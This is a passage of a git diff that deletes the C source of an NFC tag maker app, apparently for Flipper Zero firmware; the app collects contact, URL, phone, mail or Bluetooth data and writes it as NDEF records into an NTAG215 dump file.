model->callback = callback; - model->callback_context = callback_context; - model->text_buffer = text_buffer; - model->text_buffer_size = text_buffer_size; - model->clear_default_text = clear_default_text; - model->cursor_select = false; - if(text_buffer && text_buffer[0] != '\0') { - model->cursor_pos = strlen(text_buffer); - // Set focus on Save - model->selected_row = 2; - model->selected_column = 9; - model->selected_keyboard = 0; - } else { - model->cursor_pos = 0; - } - }, - true); -} - -void nfc_maker_text_input_set_minimum_length( - NFCMaker_TextInput* nfc_maker_text_input, - size_t minimum_length) { - with_view_model( - nfc_maker_text_input->view, - NFCMaker_TextInputModel * model, - { model->minimum_length = minimum_length; }, - true); -} - -void nfc_maker_text_input_set_validator( - NFCMaker_TextInput* nfc_maker_text_input, - NFCMaker_TextInputValidatorCallback callback, - void* callback_context) { - with_view_model( - nfc_maker_text_input->view, - NFCMaker_TextInputModel * model, - { - model->validator_callback = callback; - model->validator_callback_context = callback_context; - }, - true); -} - -NFCMaker_TextInputValidatorCallback - nfc_maker_text_input_get_validator_callback(NFCMaker_TextInput* nfc_maker_text_input) { - NFCMaker_TextInputValidatorCallback validator_callback = NULL; - with_view_model( - nfc_maker_text_input->view, - NFCMaker_TextInputModel * model, - { validator_callback = model->validator_callback; }, - false); - return validator_callback; -} - -void* nfc_maker_text_input_get_validator_callback_context( - NFCMaker_TextInput* nfc_maker_text_input) { - void* validator_callback_context = NULL; - with_view_model( - nfc_maker_text_input->view, - NFCMaker_TextInputModel * model, - { validator_callback_context = model->validator_callback_context; }, - false); - return validator_callback_context; -} - -void nfc_maker_text_input_set_header_text( - NFCMaker_TextInput* nfc_maker_text_input, - const char* text) { - with_view_model( - nfc_maker_text_input->view, - NFCMaker_TextInputModel * model, - { model->header = text; }, - true); -} diff --git a/applications/external/nfc_maker/nfc_maker_text_input.h b/applications/external/nfc_maker/nfc_maker_text_input.h deleted file mode 100644 index 91fa93e9d..000000000 --- a/applications/external/nfc_maker/nfc_maker_text_input.h +++ /dev/null @@ -1,85 +0,0 @@ -#pragma once - -#include -#include "nfc_maker_validators.h" - -#ifdef __cplusplus -extern "C" { -#endif - -/** Text input anonymous structure */ -typedef struct NFCMaker_TextInput NFCMaker_TextInput; -typedef void (*NFCMaker_TextInputCallback)(void* context); -typedef bool ( - *NFCMaker_TextInputValidatorCallback)(const char* text, FuriString* error, void* context); - -/** Allocate and initialize text input - * - * This text input is used to enter string - * - * @return NFCMaker_TextInput instance - */ -NFCMaker_TextInput* nfc_maker_text_input_alloc(); - -/** Deinitialize and free text input - * - * @param text_input NFCMaker_TextInput instance - */ -void nfc_maker_text_input_free(NFCMaker_TextInput* text_input); - -/** Clean text input view Note: this function does not free memory - * - * @param text_input Text input instance - */ -void nfc_maker_text_input_reset(NFCMaker_TextInput* text_input); - -/** Get text input view - * - * @param text_input NFCMaker_TextInput instance - * - * @return View instance that can be used for embedding - */ -View* nfc_maker_text_input_get_view(NFCMaker_TextInput* text_input); - -/** Set text input result callback - * - * @param text_input NFCMaker_TextInput instance - * @param callback callback fn - * @param callback_context callback context - * @param text_buffer pointer to YOUR text buffer, that we going - * to modify - * @param text_buffer_size YOUR text buffer size in bytes. Max string - * length will be text_buffer_size-1. - * @param clear_default_text clear text from text_buffer on first OK - * event - */ -void nfc_maker_text_input_set_result_callback( - NFCMaker_TextInput* text_input, - NFCMaker_TextInputCallback callback, - void* callback_context, - char* text_buffer, - size_t text_buffer_size, - bool clear_default_text); - -void nfc_maker_text_input_set_validator( - NFCMaker_TextInput* text_input, - NFCMaker_TextInputValidatorCallback callback, - void* callback_context); - -void nfc_maker_text_input_set_minimum_length(NFCMaker_TextInput* text_input, size_t minimum_length); - -NFCMaker_TextInputValidatorCallback - nfc_maker_text_input_get_validator_callback(NFCMaker_TextInput* text_input); - -void* nfc_maker_text_input_get_validator_callback_context(NFCMaker_TextInput* text_input); - -/** Set text input header text - * - * @param text_input NFCMaker_TextInput instance - * @param text text to be shown - */ -void nfc_maker_text_input_set_header_text(NFCMaker_TextInput* text_input, const char* text); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/nfc_maker/nfc_maker_validators.c b/applications/external/nfc_maker/nfc_maker_validators.c deleted file mode 100644 index 77c1b7fb7..000000000 --- a/applications/external/nfc_maker/nfc_maker_validators.c +++ /dev/null @@ -1,57 +0,0 @@ -#include -#include "nfc_maker_validators.h" -#include - -struct ValidatorIsFile { - char* app_path_folder; - const char* app_extension; - char* current_name; -}; - -bool validator_is_file_callback(const char* text, FuriString* error, void* context) { - furi_assert(context); - ValidatorIsFile* instance = context; - - if(instance->current_name != NULL) { - if(strcmp(instance->current_name, text) == 0) { - return true; - } - } - - bool ret = true; - FuriString* path = furi_string_alloc_printf( - "%s/%s%s", instance->app_path_folder, text, instance->app_extension); - Storage* storage = furi_record_open(RECORD_STORAGE); - if(storage_common_stat(storage, furi_string_get_cstr(path), NULL) == FSE_OK) { - ret = false; - furi_string_printf(error, "This name\nexists!\nChoose\nanother one."); - } else { - ret = true; - } - furi_string_free(path); - furi_record_close(RECORD_STORAGE); - - return ret; -} - -ValidatorIsFile* validator_is_file_alloc_init( - const char* app_path_folder, - const char* app_extension, - const char* current_name) { - ValidatorIsFile* instance = malloc(sizeof(ValidatorIsFile)); - - instance->app_path_folder = strdup(app_path_folder); - instance->app_extension = app_extension; - if(current_name != NULL) { - instance->current_name = strdup(current_name); - } - - return instance; -} - -void validator_is_file_free(ValidatorIsFile* instance) { - furi_assert(instance); - free(instance->app_path_folder); - free(instance->current_name); - free(instance); -} diff --git a/applications/external/nfc_maker/nfc_maker_validators.h b/applications/external/nfc_maker/nfc_maker_validators.h deleted file mode 100644 index d9200b6db..000000000 --- a/applications/external/nfc_maker/nfc_maker_validators.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -#include - -#ifdef __cplusplus -extern "C" { -#endif -typedef struct ValidatorIsFile ValidatorIsFile; - -ValidatorIsFile* validator_is_file_alloc_init( - const char* app_path_folder, - const char* app_extension, - const char* current_name); - -void validator_is_file_free(ValidatorIsFile* instance); - -bool validator_is_file_callback(const char* text, FuriString* error, void* context); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene.c b/applications/external/nfc_maker/scenes/nfc_maker_scene.c deleted file mode 100644 index 3a8b7d502..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "nfc_maker_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const nfc_maker_on_enter_handlers[])(void*) = { -#include "nfc_maker_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const nfc_maker_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "nfc_maker_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const nfc_maker_on_exit_handlers[])(void* context) = { -#include "nfc_maker_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers nfc_maker_scene_handlers = { - .on_enter_handlers = nfc_maker_on_enter_handlers, - .on_event_handlers = nfc_maker_on_event_handlers, - .on_exit_handlers = nfc_maker_on_exit_handlers, - .scene_num = NfcMakerSceneNum, -}; diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene.h b/applications/external/nfc_maker/scenes/nfc_maker_scene.h deleted file mode 100644 index 5ad69f233..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) NfcMakerScene##id, -typedef enum { -#include "nfc_maker_scene_config.h" - NfcMakerSceneNum, -} NfcMakerScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers nfc_maker_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "nfc_maker_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "nfc_maker_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "nfc_maker_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_bluetooth.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_bluetooth.c deleted file mode 100644 index e392ea096..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_bluetooth.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "../nfc_maker.h" - -enum ByteInputResult { - ByteInputResultOk, -}; - -static void nfc_maker_scene_bluetooth_byte_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, ByteInputResultOk); -} - -void nfc_maker_scene_bluetooth_on_enter(void* context) { - NfcMaker* app = context; - ByteInput* byte_input = app->byte_input; - - byte_input_set_header_text(byte_input, "Enter Bluetooth MAC:"); - - for(size_t i = 0; i < MAC_INPUT_LEN; i++) { - app->mac_buf[i] = 0x69; - } - - byte_input_set_result_callback( - byte_input, - nfc_maker_scene_bluetooth_byte_input_callback, - NULL, - app, - app->mac_buf, - MAC_INPUT_LEN); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewByteInput); -} - -bool nfc_maker_scene_bluetooth_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case ByteInputResultOk: - furi_hal_bt_reverse_mac_addr(app->mac_buf); - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_bluetooth_on_exit(void* context) { - NfcMaker* app = context; - byte_input_set_result_callback(app->byte_input, NULL, NULL, NULL, NULL, 0); - byte_input_set_header_text(app->byte_input, ""); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_config.h b/applications/external/nfc_maker/scenes/nfc_maker_scene_config.h deleted file mode 100644 index 0ef4f021f..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_config.h +++ /dev/null @@ -1,18 +0,0 @@ -ADD_SCENE(nfc_maker, start, Start) -ADD_SCENE(nfc_maker, bluetooth, Bluetooth) -ADD_SCENE(nfc_maker, contact, Contact) -ADD_SCENE(nfc_maker, contact_last, ContactLast) -ADD_SCENE(nfc_maker, contact_mail, ContactMail) -ADD_SCENE(nfc_maker, contact_phone, ContactPhone) -ADD_SCENE(nfc_maker, contact_url, ContactUrl) -ADD_SCENE(nfc_maker, https, Https) -ADD_SCENE(nfc_maker, mail, Mail) -ADD_SCENE(nfc_maker, phone, Phone) -ADD_SCENE(nfc_maker, text, Text) -ADD_SCENE(nfc_maker, url, Url) -ADD_SCENE(nfc_maker, wifi, Wifi) -ADD_SCENE(nfc_maker, wifi_auth, WifiAuth) -ADD_SCENE(nfc_maker, wifi_encr, WifiEncr) -ADD_SCENE(nfc_maker, wifi_pass, WifiPass) -ADD_SCENE(nfc_maker, save, Save) -ADD_SCENE(nfc_maker, result, Result) diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_contact.c deleted file mode 100644 index 91df6bfe7..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_contact_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_contact_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter First Name:"); - - strlcpy(app->small_buf1, "Ben", SMALL_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_contact_text_input_callback, - app, - app->small_buf1, - SMALL_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_contact_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneContactLast); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_contact_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_last.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_last.c deleted file mode 100644 index a22607de4..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_last.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_contact_last_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_contact_last_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter Last Name:"); - - strlcpy(app->small_buf2, "Dover", SMALL_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_contact_last_text_input_callback, - app, - app->small_buf2, - SMALL_INPUT_LEN, - true); - - nfc_maker_text_input_set_minimum_length(text_input, 0); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_contact_last_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneContactMail); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_contact_last_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_mail.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_mail.c deleted file mode 100644 index 0f11c8ebf..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_mail.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_contact_mail_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_contact_mail_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter Email Address:"); - - strlcpy(app->mail_buf, "ben.dover@example.com", MAIL_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_contact_mail_text_input_callback, - app, - app->mail_buf, - MAIL_INPUT_LEN, - true); - - nfc_maker_text_input_set_minimum_length(text_input, 0); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_contact_mail_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneContactPhone); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_contact_mail_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_phone.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_phone.c deleted file mode 100644 index cbe39c5a7..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_phone.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_contact_phone_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_contact_phone_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter Phone Number:"); - - strlcpy(app->phone_buf, "+", PHONE_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_contact_phone_text_input_callback, - app, - app->phone_buf, - PHONE_INPUT_LEN, - false); - - nfc_maker_text_input_set_minimum_length(text_input, 0); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_contact_phone_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneContactUrl); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_contact_phone_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_url.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_url.c deleted file mode 100644 index 97ffd18c1..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_url.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_contact_url_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_contact_url_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter URL Link:"); - - strlcpy(app->big_buf, "google.com", BIG_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_contact_url_text_input_callback, - app, - app->big_buf, - BIG_INPUT_LEN, - true); - - nfc_maker_text_input_set_minimum_length(text_input, 0); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_contact_url_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_contact_url_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_https.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_https.c deleted file mode 100644 index 98411f73f..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_https.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_https_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_https_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter HTTPS Link:"); - - strlcpy(app->big_buf, "google.com", BIG_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_https_text_input_callback, - app, - app->big_buf, - BIG_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_https_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_https_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_mail.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_mail.c deleted file mode 100644 index 0cb4c3d7e..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_mail.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_mail_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_mail_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter Email Address:"); - - strlcpy(app->mail_buf, "ben.dover@example.com", MAIL_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_mail_text_input_callback, - app, - app->mail_buf, - MAIL_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_mail_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_mail_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_phone.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_phone.c deleted file mode 100644 index 68cbeab84..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_phone.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_phone_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_phone_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter Phone Number:"); - - strlcpy(app->phone_buf, "+", PHONE_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_phone_text_input_callback, - app, - app->phone_buf, - PHONE_INPUT_LEN, - false); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_phone_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_phone_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_result.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_result.c deleted file mode 100644 index ad7371b5c..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_result.c +++ /dev/null @@ -1,400 +0,0 @@ -#include "../nfc_maker.h" - -enum PopupEvent { - PopupEventExit, -}; - -static void nfc_maker_scene_result_popup_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, PopupEventExit); -} - -void nfc_maker_scene_result_on_enter(void* context) { - NfcMaker* app = context; - Popup* popup = app->popup; - bool success = false; - - FlipperFormat* file = flipper_format_file_alloc(furi_record_open(RECORD_STORAGE)); - FuriString* path = furi_string_alloc(); - furi_string_printf(path, NFC_APP_FOLDER "/%s" NFC_APP_EXTENSION, app->save_buf); - - uint32_t pages = 135; - size_t size = pages * 4; - uint8_t* buf = malloc(size); - do { - if(!flipper_format_file_open_new(file, furi_string_get_cstr(path))) break; - - if(!flipper_format_write_header_cstr(file, "Flipper NFC device", 3)) break; - if(!flipper_format_write_string_cstr(file, "Device type", "NTAG215")) break; - - // Serial number - size_t i = 0; - buf[i++] = 0x04; - furi_hal_random_fill_buf(&buf[i], 8); - i += 8; - uint8_t uid[7]; - memcpy(&uid[0], &buf[0], 3); - memcpy(&uid[3], &buf[4], 4); - - if(!flipper_format_write_hex(file, "UID", uid, sizeof(uid))) break; - if(!flipper_format_write_string_cstr(file, "ATQA", "00 44")) break; - if(!flipper_format_write_string_cstr(file, "SAK", "00")) break; - // TODO: Maybe randomize? - if(!flipper_format_write_string_cstr( - file, - "Signature", - "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00")) - break; - if(!flipper_format_write_string_cstr(file, "Mifare version", "00 04 04 02 01 00 11 03")) - break; - - if(!flipper_format_write_string_cstr(file, "Counter 0", "0")) break; - if(!flipper_format_write_string_cstr(file, "Tearing 0", "00")) break; - if(!flipper_format_write_string_cstr(file, "Counter 1", "0")) break; - if(!flipper_format_write_string_cstr(file, "Tearing 1", "00")) break; - if(!flipper_format_write_string_cstr(file, "Counter 2", "0")) break; - if(!flipper_format_write_string_cstr(file, "Tearing 2", "00")) break; - if(!flipper_format_write_uint32(file, "Pages total", &pages, 1)) break; - - // Static data - buf[i++] = 0x48; // Internal - buf[i++] = 0x00; // Lock bytes - buf[i++] = 0x00; // ... - - buf[i++] = 0xE1; // Capability container - buf[i++] = 0x10; // ... - buf[i++] = 0x3E; // ... - buf[i++] = 0x00; // ... - - buf[i++] = 0x03; // Container flags - - // NDEF Docs: https://developer.nordicsemi.com/nRF_Connect_SDK/doc/latest/nrf/protocols/nfc/index.html#nfc-data-exchange-format-ndef - uint8_t tnf = 0x00; - const char* type = ""; - uint8_t* payload = NULL; - size_t payload_len = 0; - - size_t data_len = 0; - size_t j = 0; - switch(scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneStart)) { - case NfcMakerSceneBluetooth: { - tnf = 0x02; // Media-type [RFC 2046] - type = "application/vnd.bluetooth.ep.oob"; - - data_len = MAC_INPUT_LEN; - payload_len = data_len + 2; - payload = malloc(payload_len); - - payload[j++] = 0x08; - payload[j++] = 0x00; - memcpy(&payload[j], app->mac_buf, data_len); - j += data_len; - break; - } - case NfcMakerSceneContact: { - tnf = 0x02; // Media-type [RFC 2046] - type = "text/vcard"; - - FuriString* vcard = furi_string_alloc_set("BEGIN:VCARD\r\nVERSION:3.0\r\n"); - furi_string_cat_printf( - vcard, "PRODID:-//Flipper Xtreme//%s//EN\r\n", version_get_version(NULL)); - furi_string_cat_printf(vcard, "N:%s;%s;;;\r\n", app->small_buf2, app->small_buf1); - furi_string_cat_printf( - vcard, - "FN:%s%s%s\r\n", - app->small_buf1, - strnlen(app->small_buf2, SMALL_INPUT_LEN) ? " " : "", - app->small_buf2); - if(strnlen(app->mail_buf, MAIL_INPUT_LEN)) { - furi_string_cat_printf(vcard, "EMAIL:%s\r\n", app->mail_buf); - } - if(strnlen(app->phone_buf, PHONE_INPUT_LEN)) { - furi_string_cat_printf(vcard, "TEL:%s\r\n", app->phone_buf); - } - if(strnlen(app->big_buf, BIG_INPUT_LEN)) { - furi_string_cat_printf(vcard, "URL:%s\r\n", app->big_buf); - } - furi_string_cat_printf(vcard, "END:VCARD\r\n"); - - payload_len = furi_string_size(vcard); - payload = malloc(payload_len); - memcpy(payload, furi_string_get_cstr(vcard), payload_len); - furi_string_free(vcard); - break; - } - case NfcMakerSceneHttps: { - tnf = 0x01; // NFC Forum well-known type [NFC RTD] - type = "\x55"; - - data_len = strnlen(app->big_buf, BIG_INPUT_LEN); - payload_len = data_len + 1; - payload = malloc(payload_len); - - payload[j++] = 0x04; // Prepend "https://" - memcpy(&payload[j], app->big_buf, data_len); - j += data_len; - break; - } - case NfcMakerSceneMail: { - tnf = 0x01; // NFC Forum well-known type [NFC RTD] - type = "\x55"; - - data_len = strnlen(app->mail_buf, MAIL_INPUT_LEN); - payload_len = data_len + 1; - payload = malloc(payload_len); - - payload[j++] = 0x06; // Prepend "mailto:" - memcpy(&payload[j], app->mail_buf, data_len); - j += data_len; - break; - } - case NfcMakerScenePhone: { - tnf = 0x01; // NFC Forum well-known type [NFC RTD] - type = "\x55"; - - data_len = strnlen(app->phone_buf, PHONE_INPUT_LEN); - payload_len = data_len + 1; - payload = malloc(payload_len); - - payload[j++] = 0x05; // Prepend "tel:" - memcpy(&payload[j], app->phone_buf, data_len); - j += data_len; - break; - } - case NfcMakerSceneText: { - tnf = 0x01; // NFC Forum well-known type [NFC RTD] - type = "\x54"; - - data_len = strnlen(app->big_buf, BIG_INPUT_LEN); - payload_len = data_len + 3; - payload = malloc(payload_len); - - payload[j++] = 0x02; - payload[j++] = 0x65; // e - payload[j++] = 0x6E; // n - memcpy(&payload[j], app->big_buf, data_len); - j += data_len; - break; - } - case NfcMakerSceneUrl: { - tnf = 0x01; // NFC Forum well-known type [NFC RTD] - type = "\x55"; - - data_len = strnlen(app->big_buf, BIG_INPUT_LEN); - payload_len = data_len + 1; - payload = malloc(payload_len); - - payload[j++] = 0x00; 